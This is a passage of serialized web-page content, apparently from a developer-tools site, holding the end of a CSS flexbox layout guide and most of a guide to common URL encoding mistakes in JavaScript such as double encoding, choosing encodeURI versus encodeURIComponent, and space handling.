padding-bottom",[1560,33340,1663],{"class":1570},[1560,33342,5687],{"class":1576},[1560,33344,32215],{"class":1669},[1560,33346,2228],{"class":1570},[1560,33348,33349],{"class":1562,"line":1710},[1560,33350,1585],{"class":1570},[1560,33352,33353],{"class":1562,"line":1717},[1560,33354,1702],{"emptyLinePlaceholder":363},[1560,33356,33357,33360],{"class":1562,"line":1747},[1560,33358,33359],{"class":1566},".tag",[1560,33361,1571],{"class":1570},[1560,33363,33364,33366,33368,33370],{"class":1562,"line":2507},[1560,33365,32263],{"class":1576},[1560,33367,1663],{"class":1570},[1560,33369,5285],{"class":1576},[1560,33371,2228],{"class":1570},[1560,33373,33374,33376,33378,33380,33382,33384,33386],{"class":1562,"line":2524},[1560,33375,18186],{"class":1576},[1560,33377,1663],{"class":1570},[1560,33379,20057],{"class":1576},[1560,33381,32215],{"class":1669},[1560,33383,33112],{"class":1576},[1560,33385,32215],{"class":1669},[1560,33387,2228],{"class":1570},[1560,33389,33390,33392,33394,33396,33398],{"class":1562,"line":2529},[1560,33391,17294],{"class":1576},[1560,33393,1663],{"class":1570},[1560,33395,16895],{"class":1576},[1560,33397,1670],{"class":1669},[1560,33399,2228],{"class":1570},[1560,33401,33402,33404,33406,33408],{"class":1562,"line":2534},[1560,33403,5665],{"class":1576},[1560,33405,1663],{"class":1570},[1560,33407,11709],{"class":1576},[1560,33409,2228],{"class":1570},[1560,33411,33412,33415,33417,33420,33422],{"class":1562,"line":2542},[1560,33413,33414],{"class":1576},"  font-size",[1560,33416,1663],{"class":1570},[1560,33418,33419],{"class":1576},"0.875",[1560,33421,32215],{"class":1669},[1560,33423,2228],{"class":1570},[1560,33425,33426,33429,33431,33434],{"class":1562,"line":2558},[1560,33427,33428],{"class":1576},"  white-space",[1560,33430,1663],{"class":1570},[1560,33432,33433],{"class":1576},"nowrap",[1560,33435,2228],{"class":1570},[1560,33437,33438],{"class":1562,"line":2570},[1560,33439,1585],{"class":1570},[16,33441,33442,1663,33444,33446,33447,33450,33451,33454],{},[47,33443,32368],{},[143,33445,32640],{}," keeps each tag at its natural width. ",[143,33448,33449],{},"overflow-x: auto"," enables horizontal scrolling. ",[143,33452,33453],{},"white-space: nowrap"," prevents tags from breaking across lines.",[11,33456,33458],{"id":33457},"responsive-sidebar-layout","Responsive Sidebar Layout",[16,33460,33461],{},"A sidebar that stacks on mobile and sits beside content on wider screens.",[135,33463,33465],{"className":1554,"code":33464,"language":1556,"meta":141,"style":141},".layout {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 1.5rem;\n}\n\n.sidebar {\n  flex: 1 1 250px;\n}\n\n.main {\n  flex: 3 1 500px;\n  min-width: 0;\n}\n",[143,33466,33467,33474,33484,33494,33506,33510,33514,33521,33538,33542,33546,33553,33570,33580],{"__ignoreMap":141},[1560,33468,33469,33472],{"class":1562,"line":1563},[1560,33470,33471],{"class":1566},".layout",[1560,33473,1571],{"class":1570},[1560,33475,33476,33478,33480,33482],{"class":1562,"line":337},[1560,33477,12504],{"class":1576},[1560,33479,1663],{"class":1570},[1560,33481,32187],{"class":1576},[1560,33483,2228],{"class":1570},[1560,33485,33486,33488,33490,33492],{"class":1562,"line":343},[1560,33487,32406],{"class":1576},[1560,33489,1663],{"class":1570},[1560,33491,32411],{"class":1576},[1560,33493,2228],{"class":1570},[1560,33495,33496,33498,33500,33502,33504],{"class":1562,"line":365},[1560,33497,32235],{"class":1576},[1560,33499,1663],{"class":1570},[1560,33501,18515],{"class":1576},[1560,33503,32215],{"class":1669},[1560,33505,2228],{"class":1570},[1560,33507,33508],{"class":1562,"line":889},[1560,33509,1585],{"class":1570},[1560,33511,33512],{"class":1562,"line":1710},[1560,33513,1702],{"emptyLinePlaceholder":363},[1560,33515,33516,33519],{"class":1562,"line":1717},[1560,33517,33518],{"class":1566},".sidebar",[1560,33520,1571],{"class":1570},[1560,33522,33523,33525,33527,33529,33531,33534,33536],{"class":1562,"line":1747},[1560,33524,32292],{"class":1576},[1560,33526,1663],{"class":1570},[1560,33528,3585],{"class":1576},[1560,33530,18868],{"class":1576},[1560,33532,33533],{"class":1576}," 250",[1560,33535,1670],{"class":1669},[1560,33537,2228],{"class":1570},[1560,33539,33540],{"class":1562,"line":2507},[1560,33541,1585],{"class":1570},[1560,33543,33544],{"class":1562,"line":2524},[1560,33545,1702],{"emptyLinePlaceholder":363},[1560,33547,33548,33551],{"class":1562,"line":2529},[1560,33549,33550],{"class":1566},".main",[1560,33552,1571],{"class":1570},[1560,33554,33555,33557,33559,33561,33563,33566,33568],{"class":1562,"line":2534},[1560,33556,32292],{"class":1576},[1560,33558,1663],{"class":1570},[1560,33560,17821],{"class":1576},[1560,33562,18868],{"class":1576},[1560,33564,33565],{"class":1576}," 500",[1560,33567,1670],{"class":1669},[1560,33569,2228],{"class":1570},[1560,33571,33572,33574,33576,33578],{"class":1562,"line":2542},[1560,33573,32464],{"class":1576},[1560,33575,1663],{"class":1570},[1560,33577,5285],{"class":1576},[1560,33579,2228],{"class":1570},[1560,33581,33582],{"class":1562,"line":2558},[1560,33583,1585],{"class":1570},[16,33585,33586,1663,33588,33591],{},[47,33587,32368],{},[143,33589,33590],{},"flex-basis"," values set the minimum widths. The sidebar takes 1 part and main takes 3 parts of available space. On narrow screens, both items wrap to full width. No media query needed.",[11,33593,1355],{"id":1354},[41,33595,33596,33602,33611,33622,33628,33635],{},[44,33597,33598,33599,33601],{},"Navigation bars use ",[143,33600,32371],{}," to center links between fixed elements",[44,33603,33604,33605,12674,33608,33610],{},"Wrapping card rows combine ",[143,33606,33607],{},"flex-wrap: wrap",[143,33609,33590],{}," values",[44,33612,33613,33614,33616,33617,21111,33619,33621],{},"Media objects pair ",[143,33615,32640],{}," (icon) with ",[143,33618,32371],{},[143,33620,32647],{}," (text)",[44,33623,33624,33625,33627],{},"Sticky footers use column direction with ",[143,33626,32371],{}," on the content area",[44,33629,33630,33631,21111,33633],{},"Horizontal scrolling uses ",[143,33632,32640],{},[143,33634,33449],{},[44,33636,33637,33638,33640],{},"Split layouts distribute space with ",[143,33639,33018],{}," ratios",[11,33642,286],{"id":285},[16,33644,33645,33646,33650],{},"Build any of these layouts interactively with our ",[98,33647,33649],{"href":33648},"\u002Ftools\u002Fflexbox-generator","Flexbox Generator",". Adjust properties visually and copy the CSS straight into your project.",[2043,33652,33653],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":33655},[33656,33657,33658,33659,33660,33661,33662,33663,33664,33665,33666],{"id":32162,"depth":337,"text":32163},{"id":32375,"depth":337,"text":32376},{"id":32492,"depth":337,"text":32493},{"id":32655,"depth":337,"text":32656},{"id":32775,"depth":337,"text":32776},{"id":32863,"depth":337,"text":32864},{"id":33025,"depth":337,"text":33026},{"id":33283,"depth":337,"text":33284},{"id":33457,"depth":337,"text":33458},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Copy-paste CSS flexbox patterns for navigation, cards, media objects, sticky footers, and more — with explanations for each property.",{"immutable":363},"\u002Fguides\u002Fcommon-flexbox-layouts-code",{"title":32157,"description":33667},"guides\u002Fcommon-flexbox-layouts-code","wmpoYNwhrQoSMXRiGyVd0CHLJGpJH2MfJDzLPjBlkbY",{"id":33674,"title":33675,"body":33676,"date":2070,"description":34539,"extension":361,"meta":34540,"navigation":363,"path":34541,"readingTime":1710,"seo":34542,"stem":34543,"__hash__":34544},"guides\u002Fguides\u002Fcommon-url-encoding-mistakes.md","Common URL Encoding Mistakes and How to Fix Them",{"type":8,"value":33677,"toc":34520},[33678,33682,33685,33689,33693,33702,33778,33782,33785,33796,33800,33803,33885,33889,33893,33896,33961,34030,34034,34046,34134,34137,34141,34144,34157,34224,34233,34236,34251,34255,34261,34386,34390,34393,34458,34461,34463,34502,34504,34512,34517],[11,33679,33681],{"id":33680},"url-encoding-errors-break-things-quietly","URL Encoding Errors Break Things Quietly",[16,33683,33684],{},"URL encoding mistakes rarely throw obvious errors. Instead, they produce broken links, missing query parameters, corrupted file downloads, or authentication failures that are difficult to trace. Understanding the common pitfalls helps you write correct URL-handling code from the start.",[11,33686,33688],{"id":33687},"mistake-1-double-encoding","Mistake 1: Double Encoding",[33,33690,33692],{"id":33691},"how-it-happens","How It Happens",[16,33694,33695,33696,33698,33699,8037],{},"Double encoding occurs when you encode a string that already contains percent-encoded sequences. The ",[143,33697,17990],{}," characters in the existing encoding get encoded again as ",[143,33700,33701],{},"%25",[135,33703,33705],{"className":1607,"code":33704,"language":1609,"meta":141,"style":141},"\u002F\u002F Original string\nconst city = 'São Paulo';\n\n\u002F\u002F First encoding (correct)\nconst encoded = encodeURIComponent(city); \u002F\u002F \"S%C3%A3o%20Paulo\"\n\n\u002F\u002F Second encoding (broken)\nconst doubleEncoded = encodeURIComponent(encoded); \u002F\u002F \"S%25C3%25A3o%2520Paulo\"\n",[143,33706,33707,33712,33726,33730,33735,33752,33756,33761],{"__ignoreMap":141},[1560,33708,33709],{"class":1562,"line":1563},[1560,33710,33711],{"class":1649},"\u002F\u002F Original string\n",[1560,33713,33714,33716,33719,33721,33724],{"class":1562,"line":337},[1560,33715,8180],{"class":1669},[1560,33717,33718],{"class":1576}," city",[1560,33720,8186],{"class":1669},[1560,33722,33723],{"class":5634}," 'São Paulo'",[1560,33725,2228],{"class":1570},[1560,33727,33728],{"class":1562,"line":343},[1560,33729,1702],{"emptyLinePlaceholder":363},[1560,33731,33732],{"class":1562,"line":365},[1560,33733,33734],{"class":1649},"\u002F\u002F First encoding (correct)\n",[1560,33736,33737,33739,33741,33743,33746,33749],{"class":1562,"line":889},[1560,33738,8180],{"class":1669},[1560,33740,22961],{"class":1576},[1560,33742,8186],{"class":1669},[1560,33744,33745],{"class":1566}," encodeURIComponent",[1560,33747,33748],{"class":1570},"(city); ",[1560,33750,33751],{"class":1649},"\u002F\u002F \"S%C3%A3o%20Paulo\"\n",[1560,33753,33754],{"class":1562,"line":1710},[1560,33755,1702],{"emptyLinePlaceholder":363},[1560,33757,33758],{"class":1562,"line":1717},[1560,33759,33760],{"class":1649},"\u002F\u002F Second encoding (broken)\n",[1560,33762,33763,33765,33768,33770,33772,33775],{"class":1562,"line":1747},[1560,33764,8180],{"class":1669},[1560,33766,33767],{"class":1576}," doubleEncoded",[1560,33769,8186],{"class":1669},[1560,33771,33745],{"class":1566},[1560,33773,33774],{"class":1570},"(encoded); ",[1560,33776,33777],{"class":1649},"\u002F\u002F \"S%25C3%25A3o%2520Paulo\"\n",[33,33779,33781],{"id":33780},"where-it-creeps-in","Where It Creeps In",[16,33783,33784],{},"Double encoding often appears when multiple layers of a stack each apply encoding:",[41,33786,33787,33790,33793],{},[44,33788,33789],{},"A client library encodes a parameter, then the HTTP client encodes it again",[44,33791,33792],{},"A template engine URL-encodes a value that was already encoded in the controller",[44,33794,33795],{},"A redirect URL includes encoded query parameters, and the redirect handler encodes the entire URL",[33,33797,33799],{"id":33798},"the-fix","The Fix",[16,33801,33802],{},"Decode before re-encoding, or encode only once at the boundary where the URL is constructed:",[135,33804,33806],{"className":1607,"code":33805,"language":1609,"meta":141,"style":141},"\u002F\u002F Safe: encode only at the final construction point\nconst url = `https:\u002F\u002Fapi.example.com\u002Fsearch?q=${encodeURIComponent(rawQuery)}`;\n\n\u002F\u002F If you receive a pre-encoded value, decode it first\nconst decoded = decodeURIComponent(receivedValue);\nconst url = `https:\u002F\u002Fapi.example.com\u002Fsearch?q=${encodeURIComponent(decoded)}`;\n",[143,33807,33808,33813,33839,33843,33848,33862],{"__ignoreMap":141},[1560,33809,33810],{"class":1562,"line":1563},[1560,33811,33812],{"class":1649},"\u002F\u002F Safe: encode only at the final construction point\n",[1560,33814,33815,33817,33820,33822,33825,33828,33830,33833,33835,33837],{"class":1562,"line":337},[1560,33816,8180],{"class":1669},[1560,33818,33819],{"class":1576}," url",[1560,33821,8186],{"class":1669},[1560,33823,33824],{"class":5634}," `https:\u002F\u002Fapi.example.com\u002Fsearch?q=${",[1560,33826,33827],{"class":1566},"encodeURIComponent",[1560,33829,1688],{"class":5634},[1560,33831,33832],{"class":1570},"rawQuery",[1560,33834,1525],{"class":5634},[1560,33836,9582],{"class":5634},[1560,33838,2228],{"class":1570},[1560,33840,33841],{"class":1562,"line":343},[1560,33842,1702],{"emptyLinePlaceholder":363},[1560,33844,33845],{"class":1562,"line":365},[1560,33846,33847],{"class":1649},"\u002F\u002F If you receive a pre-encoded value, decode it first\n",[1560,33849,33850,33852,33854,33856,33859],{"class":1562,"line":889},[1560,33851,8180],{"class":1669},[1560,33853,22986],{"class":1576},[1560,33855,8186],{"class":1669},[1560,33857,33858],{"class":1566}," decodeURIComponent",[1560,33860,33861],{"class":1570},"(receivedValue);\n",[1560,33863,33864,33866,33868,33870,33872,33874,33876,33879,33881,33883],{"class":1562,"line":1710},[1560,33865,8180],{"class":1669},[1560,33867,33819],{"class":1576},[1560,33869,8186],{"class":1669},[1560,33871,33824],{"class":5634},[1560,33873,33827],{"class":1566},[1560,33875,1688],{"class":5634},[1560,33877,33878],{"class":1570},"decoded",[1560,33880,1525],{"class":5634},[1560,33882,9582],{"class":5634},[1560,33884,2228],{"class":1570},[11,33886,33888],{"id":33887},"mistake-2-using-the-wrong-encoding-function","Mistake 2: Using the Wrong Encoding Function",[33,33890,33892],{"id":33891},"encodeuri-vs-encodeuricomponent","encodeURI vs encodeURIComponent",[16,33894,33895],{},"These two functions encode different character sets, and using the wrong one breaks URLs in predictable ways:",[135,33897,33899],{"className":1607,"code":33898,"language":1609,"meta":141,"style":141},"const url = 'https:\u002F\u002Fexample.com\u002Fpath?name=John Doe&city=New York';\n\n\u002F\u002F encodeURI preserves URL structure — use for full URLs\nencodeURI(url);\n\u002F\u002F \"https:\u002F\u002Fexample.com\u002Fpath?name=John%20Doe&city=New%20York\"\n\n\u002F\u002F encodeURIComponent encodes everything — use for parameter values only\nencodeURIComponent(url);\n\u002F\u002F \"https%3A%2F%2Fexample.com%2Fpath%3Fname%3DJohn%20Doe%26city%3DNew%20York\"\n\u002F\u002F ↑ Broken: :, \u002F, ?, & are all encoded\n",[143,33900,33901,33914,33918,33923,33931,33936,33940,33945,33951,33956],{"__ignoreMap":141},[1560,33902,33903,33905,33907,33909,33912],{"class":1562,"line":1563},[1560,33904,8180],{"class":1669},[1560,33906,33819],{"class":1576},[1560,33908,8186],{"class":1669},[1560,33910,33911],{"class":5634}," 'https:\u002F\u002Fexample.com\u002Fpath?name=John Doe&city=New York'",[1560,33913,2228],{"class":1570},[1560,33915,33916],{"class":1562,"line":337},[1560,33917,1702],{"emptyLinePlaceholder":363},[1560,33919,33920],{"class":1562,"line":343},[1560,33921,33922],{"class":1649},"\u002F\u002F encodeURI preserves URL structure — use for full URLs\n",[1560,33924,33925,33928],{"class":1562,"line":365},[1560,33926,33927],{"class":1566},"encodeURI",[1560,33929,33930],{"class":1570},"(url);\n",[1560,33932,33933],{"class":1562,"line":889},[1560,33934,33935],{"class":1649},"\u002F\u002F \"https:\u002F\u002Fexample.com\u002Fpath?name=John%20Doe&city=New%20York\"\n",[1560,33937,33938],{"class":1562,"line":1710},[1560,33939,1702],{"emptyLinePlaceholder":363},[1560,33941,33942],{"class":1562,"line":1717},[1560,33943,33944],{"class":1649},"\u002F\u002F encodeURIComponent encodes everything — use for parameter values only\n",[1560,33946,33947,33949],{"class":1562,"line":1747},[1560,33948,33827],{"class":1566},[1560,33950,33930],{"class":1570},[1560,33952,33953],{"class":1562,"line":2507},[1560,33954,33955],{"class":1649},"\u002F\u002F \"https%3A%2F%2Fexample.com%2Fpath%3Fname%3DJohn%20Doe%26city%3DNew%20York\"\n",[1560,33957,33958],{"class":1562,"line":2524},[1560,33959,33960],{"class":1649},"\u002F\u002F ↑ Broken: :, \u002F, ?, & are all encoded\n",[193,33962,33963,33974],{},[196,33964,33965],{},[199,33966,33967,33969,33972],{},[202,33968,21080],{},[202,33970,33971],{},"Correct Function",[202,33973,21086],{},[211,33975,33976,33999,34016],{},[199,33977,33978,33981,33985],{},[216,33979,33980],{},"Building a full URL",[216,33982,33983],{},[143,33984,33927],{},[216,33986,33987,33988,1459,33990,1459,33992,1459,33995,1459,33997],{},"Preserves ",[143,33989,8037],{},[143,33991,9423],{},[143,33993,33994],{},"?",[143,33996,6852],{},[143,33998,13530],{},[199,34000,34001,34004,34008],{},[216,34002,34003],{},"Encoding a query parameter value",[216,34005,34006],{},[143,34007,33827],{},[216,34009,34010,34011,1856,34013,34015],{},"Encodes ",[143,34012,13530],{},[143,34014,7297],{}," to avoid parameter injection",[199,34017,34018,34021,34025],{},[216,34019,34020],{},"Encoding a path segment",[216,34022,34023],{},[143,34024,33827],{},[216,34026,34010,34027,34029],{},[143,34028,9423],{}," to avoid path traversal",[11,34031,34033],{"id":34032},"mistake-3-not-encoding-reserved-characters-in-user-input","Mistake 3: Not Encoding Reserved Characters in User Input",[16,34035,34036,34037,1459,34039,1459,34041,1466,34043,34045],{},"Reserved characters like ",[143,34038,13530],{},[143,34040,7297],{},[143,34042,6852],{},[143,34044,33994],{}," have special meaning in URLs. When user input contains these characters unencoded, the URL structure breaks:",[135,34047,34049],{"className":1607,"code":34048,"language":1609,"meta":141,"style":141},"\u002F\u002F User searches for \"AT&T\"\nconst query = 'AT&T';\nconst url = `https:\u002F\u002Fexample.com\u002Fsearch?q=${query}`;\n\u002F\u002F Results in: https:\u002F\u002Fexample.com\u002Fsearch?q=AT&T\n\u002F\u002F Server reads q=\"AT\" and an empty parameter \"T\"\n\n\u002F\u002F Correct\nconst safeUrl = `https:\u002F\u002Fexample.com\u002Fsearch?q=${encodeURIComponent(query)}`;\n\u002F\u002F Results in: https:\u002F\u002Fexample.com\u002Fsearch?q=AT%26T\n",[143,34050,34051,34056,34070,34088,34093,34098,34102,34106,34129],{"__ignoreMap":141},[1560,34052,34053],{"class":1562,"line":1563},[1560,34054,34055],{"class":1649},"\u002F\u002F User searches for \"AT&T\"\n",[1560,34057,34058,34060,34063,34065,34068],{"class":1562,"line":337},[1560,34059,8180],{"class":1669},[1560,34061,34062],{"class":1576}," query",[1560,34064,8186],{"class":1669},[1560,34066,34067],{"class":5634}," 'AT&T'",[1560,34069,2228],{"class":1570},[1560,34071,34072,34074,34076,34078,34081,34084,34086],{"class":1562,"line":343},[1560,34073,8180],{"class":1669},[1560,34075,33819],{"class":1576},[1560,34077,8186],{"class":1669},[1560,34079,34080],{"class":5634}," `https:\u002F\u002Fexample.com\u002Fsearch?q=${",[1560,34082,34083],{"class":1570},"query",[1560,34085,9582],{"class":5634},[1560,34087,2228],{"class":1570},[1560,34089,34090],{"class":1562,"line":365},[1560,34091,34092],{"class":1649},"\u002F\u002F Results in: https:\u002F\u002Fexample.com\u002Fsearch?q=AT&T\n",[1560,34094,34095],{"class":1562,"line":889},[1560,34096,34097],{"class":1649},"\u002F\u002F Server reads q=\"AT\" and an empty parameter \"T\"\n",[1560,34099,34100],{"class":1562,"line":1710},[1560,34101,1702],{"emptyLinePlaceholder":363},[1560,34103,34104],{"class":1562,"line":1717},[1560,34105,24380],{"class":1649},[1560,34107,34108,34110,34113,34115,34117,34119,34121,34123,34125,34127],{"class":1562,"line":1747},[1560,34109,8180],{"class":1669},[1560,34111,34112],{"class":1576}," safeUrl",[1560,34114,8186],{"class":1669},[1560,34116,34080],{"class":5634},[1560,34118,33827],{"class":1566},[1560,34120,1688],{"class":5634},[1560,34122,34083],{"class":1570},[1560,34124,1525],{"class":5634},[1560,34126,9582],{"class":5634},[1560,34128,2228],{"class":1570},[1560,34130,34131],{"class":1562,"line":2507},[1560,34132,34133],{"class":1649},"\u002F\u002F Results in: https:\u002F\u002Fexample.com\u002Fsearch?q=AT%26T\n",[16,34135,34136],{},"This mistake enables parameter injection attacks when unsanitized user input creates URLs.",[11,34138,34140],{"id":34139},"mistake-4-encoding-spaces-incorrectly","Mistake 4: Encoding Spaces Incorrectly",[16,34142,34143],{},"URLs represent spaces in two ways:",[41,34145,34146,34152],{},[44,34147,34148,34151],{},[143,34149,34150],{},"%20"," — percent-encoding (standard)",[44,34153,34154,34156],{},[143,34155,9448],{}," — application\u002Fx-www-form-urlencoded encoding (form submissions)",[135,34158,34160],{"className":1607,"code":34159,"language":1609,"meta":141,"style":141},"\u002F\u002F encodeURIComponent uses %20\nencodeURIComponent('hello world'); \u002F\u002F \"hello%20world\"\n\n\u002F\u002F Form encoding uses +\nconst formData = new URLSearchParams({ q: 'hello world' });\nformData.toString(); \u002F\u002F \"q=hello+world\"\n",[143,34161,34162,34167,34181,34185,34190,34211],{"__ignoreMap":141},[1560,34163,34164],{"class":1562,"line":1563},[1560,34165,34166],{"class":1649},"\u002F\u002F encodeURIComponent uses %20\n",[1560,34168,34169,34171,34173,34176,34178],{"class":1562,"line":337},[1560,34170,33827],{"class":1566},[1560,34172,1688],{"class":1570},[1560,34174,34175],{"class":5634},"'hello world'",[1560,34177,5171],{"class":1570},[1560,34179,34180],{"class":1649},"\u002F\u002F \"hello%20world\"\n",[1560,34182,34183],{"class":1562,"line":343},[1560,34184,1702],{"emptyLinePlaceholder":363},[1560,34186,34187],{"class":1562,"line":365},[1560,34188,34189],{"class":1649},"\u002F\u002F Form encoding uses +\n",[1560,34191,34192,34194,34197,34199,34201,34204,34207,34209],{"class":1562,"line":889},[1560,34193,8180],{"class":1669},[1560,34195,34196],{"class":1576}," formData",[1560,34198,8186],{"class":1669},[1560,34200,11489],{"class":1669},[1560,34202,34203],{"class":1566}," URLSearchParams",[1560,34205,34206],{"class":1570},"({ q: ",[1560,34208,34175],{"class":5634},[1560,34210,11630],{"class":1570},[1560,34212,34213,34216,34218,34221],{"class":1562,"line":1710},[1560,34214,34215],{"class":1570},"formData.",[1560,34217,10052],{"class":1566},[1560,34219,34220],{"class":1570},"(); ",[1560,34222,34223],{"class":1649},"\u002F\u002F \"q=hello+world\"\n",[16,34225,34226,34227,34229,34230,34232],{},"Mixing these conventions causes mismatches. A server expecting ",[143,34228,34150],{}," may treat ",[143,34231,9448],{}," as a literal plus sign, and vice versa.",[33,34234,33799],{"id":34235},"the-fix-1",[16,34237,1388,34238,34240,34241,34244,34245,34247,34248,34250],{},[143,34239,33827],{}," for URL path segments and query parameters in API calls. Use ",[143,34242,34243],{},"URLSearchParams"," for form-encoded request bodies. Never substitute ",[143,34246,9448],{}," for ",[143,34249,34150],{}," manually.",[11,34252,34254],{"id":34253},"mistake-5-encoding-the-entire-url-at-once","Mistake 5: Encoding the Entire URL at Once",[16,34256,34257,34258,34260],{},"Encoding a complete URL with ",[143,34259,33827],{}," makes it unusable — the protocol, host, and path separators all get encoded:",[135,34262,34264],{"className":1607,"code":34263,"language":1609,"meta":141,"style":141},"\u002F\u002F Broken approach\nconst fullUrl = 'https:\u002F\u002Fapi.example.com\u002Fusers?role=admin&page=1';\nconst encoded = encodeURIComponent(fullUrl);\n\u002F\u002F \"https%3A%2F%2Fapi.example.com%2Fusers%3Frole%3Dadmin%26page%3D1\"\n\u002F\u002F Cannot be used as a valid URL\n\n\u002F\u002F Correct: encode components individually\nconst base = 'https:\u002F\u002Fapi.example.com\u002Fusers';\nconst params = new URLSearchParams({ role: 'admin', page: '1' });\nconst url = `${base}?${params}`;\n\u002F\u002F \"https:\u002F\u002Fapi.example.com\u002Fusers?role=admin&page=1\"\n",[143,34265,34266,34271,34285,34298,34303,34308,34312,34317,34330,34357,34381],{"__ignoreMap":141},[1560,34267,34268],{"class":1562,"line":1563},[1560,34269,34270],{"class":1649},"\u002F\u002F Broken approach\n",[1560,34272,34273,34275,34278,34280,34283],{"class":1562,"line":337},[1560,34274,8180],{"class":1669},[1560,34276,34277],{"class":1576}," fullUrl",[1560,34279,8186],{"class":1669},[1560,34281,34282],{"class":5634}," 'https:\u002F\u002Fapi.example.com\u002Fusers?role=admin&page=1'",[1560,34284,2228],{"class":1570},[1560,34286,34287,34289,34291,34293,34295],{"class":1562,"line":343},[1560,34288,8180],{"class":1669},[1560,34290,22961],{"class":1576},[1560,34292,8186],{"class":1669},[1560,34294,33745],{"class":1566},[1560,34296,34297],{"class":1570},"(fullUrl);\n",[1560,34299,34300],{"class":1562,"line":365},[1560,34301,34302],{"class":1649},"\u002F\u002F \"https%3A%2F%2Fapi.example.com%2Fusers%3Frole%3Dadmin%26page%3D1\"\n",[1560,34304,34305],{"class":1562,"line":889},[1560,34306,34307],{"class":1649},"\u002F\u002F Cannot be used as a valid URL\n",[1560,34309,34310],{"class":1562,"line":1710},[1560,34311,1702],{"emptyLinePlaceholder":363},[1560,34313,34314],{"class":1562,"line":1717},[1560,34315,34316],{"class":1649},"\u002F\u002F Correct: encode components individually\n",[1560,34318,34319,34321,34323,34325,34328],{"class":1562,"line":1747},[1560,34320,8180],{"class":1669},[1560,34322,22749],{"class":1576},[1560,34324,8186],{"class":1669},[1560,34326,34327],{"class":5634}," 'https:\u002F\u002Fapi.example.com\u002Fusers'",[1560,34329,2228],{"class":1570},[1560,34331,34332,34334,34337,34339,34341,34343,34346,34349,34352,34355],{"class":1562,"line":2507},[1560,34333,8180],{"class":1669},[1560,34335,34336],{"class":1576}," params",[1560,34338,8186],{"class":1669},[1560,34340,11489],{"class":1669},[1560,34342,34203],{"class":1566},[1560,34344,34345],{"class":1570},"({ role: ",[1560,34347,34348],{"class":5634},"'admin'",[1560,34350,34351],{"class":1570},", page: ",[1560,34353,34354],{"class":5634},"'1'",[1560,34356,11630],{"class":1570},[1560,34358,34359,34361,34363,34365,34368,34371,34374,34377,34379],{"class":1562,"line":2524},[1560,34360,8180],{"class":1669},[1560,34362,33819],{"class":1576},[1560,34364,8186],{"class":1669},[1560,34366,34367],{"class":5634}," `${",[1560,34369,34370],{"class":1570},"base",[1560,34372,34373],{"class":5634},"}?${",[1560,34375,34376],{"class":1570},"params",[1560,34378,9582],{"class":5634},[1560,34380,2228],{"class":1570},[1560,34382,34383],{"class":1562,"line":2529},[1560,34384,34385],{"class":1649},"\u002F\u002F \"https:\u002F\u002Fapi.example.com\u002Fusers?role=admin&page=1\"\n",[11,34387,34389],{"id":34388},"mistake-6-assuming-url-encoding-is-encryption","Mistake 6: Assuming URL Encoding Is Encryption",[16,34391,34392],{},"Percent-encoding is trivially reversible. It provides zero confidentiality:",[135,34394,34396],{"className":1607,"code":34395,"language":1609,"meta":141,"style":141},"\u002F\u002F \"Encrypted\" with URL encoding — trivially decoded\nconst encoded = encodeURIComponent('password123'); \u002F\u002F \"password123\"\n\u002F\u002F ↑ Same string, no encoding needed for ASCII chars\n\nconst encodedInt = encodeURIComponent('sëcrët'); \u002F\u002F \"s%C3%ABcr%C3%ABt\"\n\u002F\u002F Decode: decodeURIComponent(\"s%C3%ABcr%C3%ABt\") → \"sëcrët\"\n",[143,34397,34398,34403,34423,34428,34432,34453],{"__ignoreMap":141},[1560,34399,34400],{"class":1562,"line":1563},[1560,34401,34402],{"class":1649},"\u002F\u002F \"Encrypted\" with URL encoding — trivially decoded\n",[1560,34404,34405,34407,34409,34411,34413,34415,34418,34420],{"class":1562,"line":337},[1560,34406,8180],{"class":1669},[1560,34408,22961],{"class":1576},[1560,34410,8186],{"class":1669},[1560,34412,33745],{"class":1566},[1560,34414,1688],{"class":1570},[1560,34416,34417],{"class":5634},"'password123'",[1560,34419,5171],{"class":1570},[1560,34421,34422],{"class":1649},"\u002F\u002F \"password123\"\n",[1560,34424,34425],{"class":1562,"line":343},[1560,34426,34427],{"class":1649},"\u002F\u002F ↑ Same string, no encoding needed for ASCII chars\n",[1560,34429,34430],{"class":1562,"line":365},[1560,34431,1702],{"emptyLinePlaceholder":363},[1560,34433,34434,34436,34439,34441,34443,34445,34448,34450],{"class":1562,"line":889},[1560,34435,8180],{"class":1669},[1560,34437,34438],{"class":1576}," encodedInt",[1560,34440,8186],{"class":1669},[1560,34442,33745],{"class":1566},[1560,34444,1688],{"class":1570},[1560,34446,34447],{"class":5634},"'sëcrët'",[1560,34449,5171],{"class":1570},[1560,34451,34452],{"class":1649},"\u002F\u002F \"s%C3%ABcr%C3%ABt\"\n",[1560,34454,34455],{"class":1562,"line":1710},[1560,34456,34457],{"class":1649},"\u002F\u002F Decode: decodeURIComponent(\"s%C3%ABcr%C3%ABt\") → \"sëcrët\"\n",[16,34459,34460],{},"Never use URL encoding as a security measure. Use TLS for data in transit and encryption for sensitive 